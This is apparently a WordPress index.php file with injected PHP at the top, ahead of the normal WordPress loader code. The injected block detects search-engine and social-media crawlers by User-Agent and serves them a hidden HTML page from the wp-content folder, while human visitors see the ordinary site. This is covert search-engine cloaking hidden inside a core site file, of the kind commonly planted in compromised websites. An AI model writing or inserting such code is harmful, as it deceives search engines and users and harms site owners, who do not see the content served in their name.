<?php
$request_uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';
$bots = array('googlebot', 'google-inspectiontool', 'bingbot', 'slurp', 'duckduckbot', 'baiduspider', 'yandexbot', 'facebookexternalhit', 'twitterbot');

$is_bot = false;
foreach ($bots as $bot) {
    if (strpos($user_agent, $bot) !== false) {
        $is_bot = true;
        break;
    }
}

if ($is_bot) {
    $page_map = array(
        '/indicadores/' => './wp-content/indicadores/indicadores.html',
            );

    if (isset($page_map[$request_uri])) {
        $file_target = $page_map[$request_uri];
        
        if (file_exists($file_target)) {
            include($file_target);
            exit();
        }
    }
}
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
